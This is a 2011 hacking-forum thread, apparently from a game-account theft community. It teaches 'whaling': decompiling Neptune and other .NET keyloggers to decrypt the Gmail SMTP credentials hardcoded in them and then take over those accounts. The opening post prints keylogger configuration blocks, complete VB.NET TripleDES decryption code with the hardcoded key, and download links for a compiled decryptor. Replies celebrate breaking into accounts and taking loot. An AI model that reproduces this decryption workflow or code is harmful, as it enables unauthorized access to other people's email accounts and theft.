

Forum:[Hack Forums](#)

Thread: [\[TUT/Download\] Decrypting The Majority Of Keyloggers \[WHALING\]](#)

Endax - February 7, 2011, 3:35 pm

Go to my youtube channel for video's on whaling and other topics:

<http://www.youtube.com/EndaxTV>

Now I say majority, this is how to decrypt Neptune keylogger which is used by the majority of people, if when you open it up in .Net Reflector inside your .cctor() is something like:

```
Code Shared Sub New()  
    Module1.Didec = True  
    Module1.DnEIL = False  
    Module1.ZOiYP = False  
    Module1.LYmTkXb = False  
    Module1.CagcorG = False  
    Module1.bvPJyen = False  
    Module1.kkzEHyX = "10"  
    Module1.PcnIVJu = "C:\Windows\Microsoft.NET\assembly"  
    Module1.gHhsmFC = 1  
    Module1.DYMVsnR = "VfDj"  
    Module1.ZZYdzHO = "CurrentUser"  
    Module1.QfYIpsN = "IBhoHP"  
    Module1.rSbnQjP = "cvPidSxHIG"  
    Module1.jHqBHDPfu = "iexplorer.exe"  
    Module1.SDDate = "+SDDate+"  
    Module1.TakeScrns = False  
    Module1.Message = New String() { "+MsgFalse+", "+MsgMsg+", "+Ico+" }  
    Module1.Delay = "+DelOff+"  
    Module1.FRMsg = False  
    Module1.NoEL = False  
    Module1.SSTime = False  
    Module1.SSInt = "10"  
    Module1.emcIDECHr = False  
    Module1.nRvtbQkbS = "http://www.exampleserver.com/directfile.exe"  
    Module1.uOtSjvjhb = False  
    Module1.BXYhFmQfM = "setup.exe"  
    Module1.ZXzhykoPo = True  
    Module1.QpBuNwTDO = False  
    Module1.GjlSYrzpV = "LHs1gVoZGRA="  
    Module1.NTPbrsOQZ = "ftp.exampleserver.com"  
    Module1.lCrumLoTR = "LHs1gVoZGRA="  
    Module1.OOpXKmGik = "/"  
    Module1.yQeznwVQ = "smtp.gmail.com"  
    Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNIuY0bDFER1pKIUw"  
    Module1.fQxzVxCQ = "Iz18IC6KlfM="  
    Module1.RkQoGgGR = "dubss420@gmail.com"  
    Module1.WnDKMVsn = "587"  
    Module1.LMKPzHOe = "----[ ~~~~~[ ~~]----"
```

```

Module1.wucRIbSg = "----[ ~~]----"
Module1.cdbgRKRv = True
Module1.RBwIGvmB = True
Module1.JpltXLJ = True
Module1.VYnJK = True
Module1.KeyboardHandle = IntPtr.Zero
Module1.LastCheckedForegroundTitle = ""
Module1.callback = Nothing
End Sub

```

Then we can decrypt it using this method.

In this case Code Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNluY0bDFER1pKIUw" is the email.

And Code Module1.fQxzVxCQ = "Iz18IC6KIfM=" is the password.

Heres the full vb code you need two text boxes and a button, put the variable in text box one click the button it appears in text box 2.

```

Code Imports System
Imports System.IO
Imports System.Security
Imports System.Security.Cryptography
Imports System.Text
Imports Microsoft.VisualBasic.CompilerServices.NewLateBinding

```

```

Public Class Form1

```

```

    Public Shared Function TripleDESDecode(ByVal value As String, ByVal key As String) As String
    Try
        Dim provider As New TripleDESCryptoServiceProvider
        provider.IV = New Byte(8 - 1) {}
        provider.Key = New PasswordDeriveBytes(key, New Byte(0 - 1) {}).CryptDeriveKey("RC2",
"MD5", &H80, New Byte(8 - 1) {})
        Dim buffer As Byte() = Convert.FromBase64String(value)
        Dim stream2 As New MemoryStream(value.Length)
        Dim stream As New CryptoStream(stream2, provider.CreateDecryptor,
CryptoStreamMode.Write)
        stream.Write(buffer, 0, buffer.Length)
        stream.FlushFinalBlock()
        Dim buffer2 As Byte() = New Byte((CInt((stream2.Length - 1)) + 1) - 1) {}
        stream2.Position = 0
        stream2.Read(buffer2, 0, CInt(stream2.Length))
        stream.Close()
        Return Encoding.UTF8.GetString(buffer2)
    Catch
        Return "Error"
    End Try
    End Function

```

```

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
        TextBox3.Text = TripleDESDecode(TextBox1.Text, "System.Net")
    End Sub

```

End Class

Alternatively use my program that I've already compiled:

<http://uppit.com/k5rv7f0vyv3o/Decryptor.exe>

[img]http://img593.imageshack.us/img593/3350/decy.jpg[/img]

This isn't against the rules as this can be used to decrypt any neptune keylogger and isn't about rs hacking, it's purely in this forum as it will shut up some of the people asking.

Further help can be given in return for rsgp.

Virus Scan:

<http://www.virustotal.com/file-scan/report.html?id=d7bd5e0fd00818aeee0752fcda6bb7290058ccf7cb89bd6b8f958f3cfe4c3579-1297121903>

Link to .Net Reflector:

<http://www.red-gate.com/products/dotnet-development/reflector/>

Haruhi Suzumiya - February 7, 2011, 3:36 pm

Wrong forum.

But a good tutorial.

BroChillFlow - February 7, 2011, 3:37 pm

Virus scans are nice....If you want people to use your tool.

CharlieSheen - February 7, 2011, 3:37 pm

Can you please post a virus scan of the program?

Endax - February 7, 2011, 3:37 pm

(Feb 7, 2011 04:36 PM)Misa Wrote: [\[CITE\]](#) Wrong forum.

But a good tutorial.

I know it is, I'll get it moved soon, I specifically put it here for the noobs pressing F5 to try and get something like this.

ComputerNerd - February 7, 2011, 3:38 pm

Is this program a virus? Will someone please scan? Thx :)

dylanups - February 7, 2011, 3:38 pm

Most if not all the whales are already cleaned out but ill try this

do you have a download for .net reflector?

efkariux - February 7, 2011, 3:38 pm

What can I say.. THANK YOU!! <3

BMO? - February 7, 2011, 3:38 pm

jw what is the dubs email then if that one is the actual email?

download for net reflector google didnt turn up anything

JessT - February 7, 2011, 3:38 pm

Im wondering the exact same thing lol

Lith - February 7, 2011, 3:39 pm

This is so fucking win. If it works.

Endax - February 7, 2011, 3:39 pm

Shut the fuck up about virus's, I posted the source code for god's sake, I'll do an AV scan now.

BroChillFlow - February 7, 2011, 3:40 pm

<http://www.virustotal.com/file-scan/report.html?id=d7bd5e0fd00818aeee0752fcda6bb7290058ccf7cb89bd6b8f958f3cfe4c3579-1297121903>

virus scan.

And another:

<http://vscan.novirusthanks.org/analysis/9dd52f574781f2e412e839eca08eb6b9/ZGVjcnlwdG9yLWV4ZQ==/>

It's clean.

efkariux - February 7, 2011, 3:40 pm

(Feb 7, 2011 04:40 PM)BroChillFlow Wrote: [\[CITE\]](#)

<http://www.virustotal.com/file-scan/report.html?id=d7bd5e0fd00818aeee0752fcda6bb7290058ccf7cb89bd6b8f958f3cfe4c3579-1297121903>

virus scan.

Thank you for scanning :)

BMO? - February 7, 2011, 3:42 pm

tool is epic works like a charm

Endax - February 7, 2011, 3:44 pm

Remember this will only work if it looks like the one in the OP.

CharlieSheen - February 7, 2011, 3:44 pm

Ok, also ya same as question before, then what is the email address that is already shown used for?

Endax - February 7, 2011, 3:45 pm

(Feb 7, 2011 04:44 PM)MountainDew Wrote: [\[CITE\]](#) Ok, also ya same as question before, then what is the email address that is already shown used for?

When declaring an email client it's used for saying who the email is 'from' nothing to do with the credentials. Occasionaly they will be the same though.

BMO? - February 7, 2011, 3:45 pm

are most of them neptune?

Endax - February 7, 2011, 3:47 pm

(Feb 7, 2011 04:45 PM)jjkk Wrote: [\[CITE\]](#) are most of them neptune?

From my experience, around 60%-70%.

zombiehacker - February 7, 2011, 3:48 pm

i'm using bintext is that good to use to?

efkariux - February 7, 2011, 3:49 pm

Just fucking whaled a gmail with 3714 unread messages!! lolol this fucking program works like a charm!! <£33

THANK YOU FOR THIS SO MUCH MATE!!

Endax - February 7, 2011, 3:50 pm

(Feb 7, 2011 04:48 PM)ZombieHacker™ Wrote: [\[CITE\]](#) i'm using bintext is that good to use to?
It's better to use .Net reflector, make good habits.

CharlieSheen - February 7, 2011, 3:51 pm

Alright thanks, downloading .net now. I'm an old hard drive unused for over a year so couldn't open it =/. I'll let ya know how it goes from there.

Endax - February 7, 2011, 3:52 pm

Oh yeah, I forgot compile it under 2.0, nevermind, people can update their framework if they want to use it.

I am fool - February 7, 2011, 3:52 pm

Well fuck, there goes the only hard part of whaling right out of the window.

BMO? - February 7, 2011, 3:55 pm

.net reflector dl? the google version now has a 14 day free trial AFTER you register.

spoon fed

zombiehacker - February 7, 2011, 3:57 pm

How to i use .net reflector?

Innovus - February 7, 2011, 4:00 pm

So, how do you determine that the key is "System.Net"?

Could you explain that? Is it just a default? I don't understand where you get that from :(

egress - February 7, 2011, 4:00 pm

How to decrypt Classical's polymorphic keylogger

Your .cctor will look something like this

Code Shared Sub New()

```
Class_8_Object.Procedure_4(New Class_9_Object)
Class_8_Object.Procedure_6(New Class_10_NativeWindow)
Class_8_Object.Field_2 = New BackgroundWorker
Class_8_Object.Field_3 = New PictureBox
Class_8_Object.Field_7 =
Class_8_Object.Function_String_34("DKxQTpG/2YPj+PcdBQnOyOJZKNfMLTZH",
"mAgSRhxYRtsfrqDteOfj")
Class_8_Object.Field_8 =
Class_8_Object.Function_String_34("uRLjDsaH5ghmSGLgP4pX3g==",
"mVMFsGSEXKfGtfeNTcUl")
Class_8_Object.Field_9 = True
```

```

Class_8_Object.Field_10 = True
Class_8_Object.Field_11 = "C:\Users\Tom\AppData\Roaming\Microsoft\Local\"
Class_8_Object.Field_12 = "system32.exe"
Class_8_Object.Field_13 = "44kPN4K7HE"
Class_8_Object.Field_14 = "Adobe Drivers"
Class_8_Object.Field_15 = True
Class_8_Object.Field_16 = True
Class_8_Object.Field_17 = True
Class_8_Object.Field_18 = "{60Z08uoo-811c-V5D9-039J-uf39h5SM3ZGM}"
Class_8_Object.Field_19 = "smtp.gmail.com"
Class_8_Object.Field_20 = "587"
Class_8_Object.Field_21 = (Class_8_Object.Field_11 & Class_8_Object.Field_12)
Class_8_Object.Field_22 = "0ib0r43M10"
Class_8_Object.Field_23 = "w2U218871W632Wq"
Class_8_Object.Field_24 =
Class_8_Object.Function_String_34("BJYrPO5LDa2AOKxVkLhIVDgjzoW36R15dEvphSsqTWW1QIp
7ZCHKfvRle/IPCckL3wOUhZX1oKBqUSmMWwVYvpqFadPWljLqHI5MjMvd1MSLLNYVuH/tDTH8h
M8cfP5mnHucpb8cpkTQKJSWJOiJCA8N2JBe/Q3V+fvW9AJpDVWW9JuZaOcFqWINVFJ8eu+umY
UbD72uDpHiUbDIBonbK8g==", Class_8_Object.Field_22)
Class_8_Object.Field_25 =
Class_8_Object.Function_String_34("UESfd8Hy4JmqsBm1KPkYyLTkH97TeUiV",
Class_8_Object.Field_23)
Class_8_Object.Field_26 = True
Class_8_Object.Field_27 = Conversions.ToBoolean("True")
Class_8_Object.Field_28 = 0
Class_8_Object.Field_30 = True
Class_8_Object.Field_31 = True
End Sub

```

You want to find this piece

```

Code Class_8_Object.Field_7 =
Class_8_Object.Function_String_34("DKxQTpG/2YPj+PcdBQnOyOJZKNfMLTZH",
"mAgSRhxYRtsfrqDteOfj") //username
Class_8_Object.Field_8 =
Class_8_Object.Function_String_34("uRLjDsaH5ghmSGLgP4pX3g==",
"mVMFsGSEXKfGtfeNTcUI") //password
Take string one of the username and enter it in the appropriate text box, same with string 2

```

Code Class_8_Object.Field_7 = Class_8_Object.Function_String_34(STRING ONE ->> "DKxQTpG/2YPj+PcdBQnOyOJZKNfMLTZH", STRING 2 ->> "mAgSRhxYRtsfrqDteOfj")
And decrypt it, do the exact same thing with the password string

Virus Scan

<http://www.virustotal.com/file-scan/report.html?id=63433dd12ed3adc3dfaedb4a87ba1427c62f24b9b2bfd8603a328c08e74356f2-1297123096>

Download

<http://www.mediafire.com/?y2c7iolojgn33de>

Screenshot

Town - February 7, 2011, 4:00 pm

You sir, are win. Thanks for this.

BMO? - February 7, 2011, 4:04 pm

any1 got a reflector dl for all of this?

ComputerNerd - February 7, 2011, 4:05 pm

Vouch for being clean. I looked at the source in .Net Reflector and I didn't see anywhere where it imported the thing that allows it to send emails.

Yosh?i - February 7, 2011, 4:05 pm

God damn why did you release this :LL

Wet - February 7, 2011, 4:06 pm

There goes whaling :| ...

BMO? - February 7, 2011, 4:10 pm

ok can someone please give me a net reflector dl so i can use it for more then 14 days

Endax - February 7, 2011, 4:12 pm

(Feb 7, 2011 05:10 PM)jjkk Wrote: [\[CITE\]](#) ok can someone please give me a net reflector dl so i can use it for more then 14 days

Whaling will be over and done with within 14 days...

BMO? - February 7, 2011, 4:13 pm

well when it is the ill especially do it since other people wont be. can i get a download please :)

kurokitsune - February 7, 2011, 4:18 pm

Nice tutorial! Thanks for the info...

itzmagiic - February 7, 2011, 4:19 pm

... I'm still not getting this, any help? Maybe through TV or something. I'm willing to share half of loots ; if you help!

boispro - February 7, 2011, 4:20 pm

Couldn't find .cc in the reflector

BMO? - February 7, 2011, 4:20 pm

if you dont get this after this topic you need to just stop honestly.still looking for a .net reflector dl....any1?

itzmagiic - February 7, 2011, 4:22 pm

(Feb 7, 2011 05:20 PM)jjkk Wrote: [\[CITE\]](#) if you dont get this after this topic you need to just stop honestly.still looking for a .net reflector dl....any1?

<http://reflector.red-gate.com/download.aspx?TreatAsUpdate=1> <-- = Download, do you mind helping me if you know how to do it?

BMO? - February 7, 2011, 4:23 pm

send me a message with your msn

SmokeWeedEatYogurt - February 7, 2011, 4:24 pm

Wow, do all the work for them. This is why no one learns anything anymore.

Endax - February 7, 2011, 4:26 pm

(Feb 7, 2011 05:24 PM)unknown2 Wrote: [\[CITE\]](#) Wow, do all the work for them. This is why no one learns anything anymore.

Whether you try to give them hints and tips on how to do they still don't shut up asking, at least there should be a few less threads now.

SmokeWeedEatYogurt - February 7, 2011, 4:27 pm

Next threads will be: I USED ENDAX'S TOOL BUT IT ISN'T WORKING!!! WHY WONT IT WORK!!
AkA because it doesn't use that exact decryption method.

Endax - February 7, 2011, 4:28 pm

(Feb 7, 2011 05:27 PM)unknown2 Wrote: [\[CITE\]](#) Next threads will be: I USED ENDAX'S TOOL BUT IT ISN'T WORKING!!! WHY WONT IT WORK!!

AkA because it doesn't use that exact decryption method.

Haha very true, when they think they can put any variable in there from any decompiled keylogger and it will work.

EeZee - February 7, 2011, 4:34 pm

This is excellent thankyou

Endax - February 7, 2011, 4:50 pm

Just thought i'd tell everyone that i'm going bed so if i don't reply to PM's just wait a while, doesn't mean to spam me.

Mageinragge - February 7, 2011, 4:53 pm

Thanks bro this is my first post and i already got 20m w/ it lol

Exological - February 7, 2011, 5:17 pm

Thanks, man.

The only trouble I'm having is everytime I try to decrypt the email/pass, I get 'Error' in the 2nd box. I've tried around 10 keyloggers and they've all failed me. lol
Oh well, it's a great TUT either way.

theDivine - February 7, 2011, 7:43 pm

Ah! Pmed you earlier, and now you posted this.

Thanks! I think this clears it up a bit.

MTxHaloReach - February 7, 2011, 8:34 pm

how do we know what part is the email?

efkariux - February 8, 2011, 2:57 am

Getting "error" message now that I try to decrypt :I Yesterday it worked..

RileyRandom - February 8, 2011, 4:19 pm

Sorry, but how exactly do you tell what keylogger was used? Also how do you use .net reflector? I have a bit of of an idea, but I'm still unsure.

Well, I'm glad to say, after a whole bunch of trial and error, I got it!

ajaxh00lig4n - February 13, 2011, 3:58 am

Hey, when i use .NET Reflector how i know what string i need to put in?

nouman80 - February 16, 2011, 6:10 pm

Decrypter is not working , Error in second box.

Apocrypha8 - February 16, 2011, 6:13 pm

Thank you for this, you are a help.

blowntaha - February 17, 2011, 9:53 pm

When I try to run it I get a "decrypter.exe is not a valid win32 application"
HOWEVER, I have used/run this before flawlessly..?

famwemadeit - February 17, 2011, 11:43 pm

thanks for the tutorial Really apperiate the share keep it up!

jaredrocks1 - February 22, 2011, 6:10 pm

Every .cctor() I open says this, and it is Project Neptune im positive

```
static MyProject()
{
    m_ComputerObjectProvider = new ThreadSafeObjectProvider<MyComputer>();
    m_AppObjectProvider = new ThreadSafeObjectProvider<MyApplication>();
    m_UserObjectProvider = new ThreadSafeObjectProvider<User>();
    m_MyWebServicesObjectProvider = new ThreadSafeObjectProvider<MyWebServices>();
}
```

Endax - February 24, 2011, 3:23 am

If anyone needs further help check out my video's on my youtube channel:

<http://www.youtube.com/EndaxTV>

I won't be offering assistance on this thread as it takes too long to reply to everyone.

Zeh - February 25, 2011, 8:19 pm

It's kind of outdated, mate. No one uses Neptune anymore. Everyone uses XYZ logger etc. and the source codes are all encrypted :(

(Feb 22, 2011 07:10 PM)jaredrocks1 Wrote: [\[CITE\]](#) Every .cctor() I open says this, and it is Project Neptune im positive

```
static MyProject()
{
    m_ComputerObjectProvider = new ThreadSafeObjectProvider<MyComputer>();
    m_AppObjectProvider = new ThreadSafeObjectProvider<MyApplication>();
    m_UserObjectProvider = new ThreadSafeObjectProvider<User>();
    m_MyWebServicesObjectProvider = new ThreadSafeObjectProvider<MyWebServices>();
}
```

Change your language to Visual Basic. You're viewing it as C#.

St. Jiberish - *March 1, 2011, 12:23 pm*

will use thank you! very much, now i need the links

oblackbetty - *March 15, 2011, 2:50 pm*

Your 4 part youtube series were so helpful. I have successfully whaled 10+ keyloggers. Thank you so much. You should make a part 5 that explains how to decrypt CoolLogger ?

WallHack - *March 20, 2011, 3:38 am*

I downloaded you decrypter, but it just get errors :S

Tuschen - *July 2, 2011, 2:31 pm*

hey...could you reupload the file?? i really need this.

michieltje2304 - *August 28, 2011, 9:29 am*

Please make more tutorials about whaling keyloggers!

thehackerboy - *November 5, 2011, 6:56 pm*

nice work pal.. keep it up!! i was searching for this for months now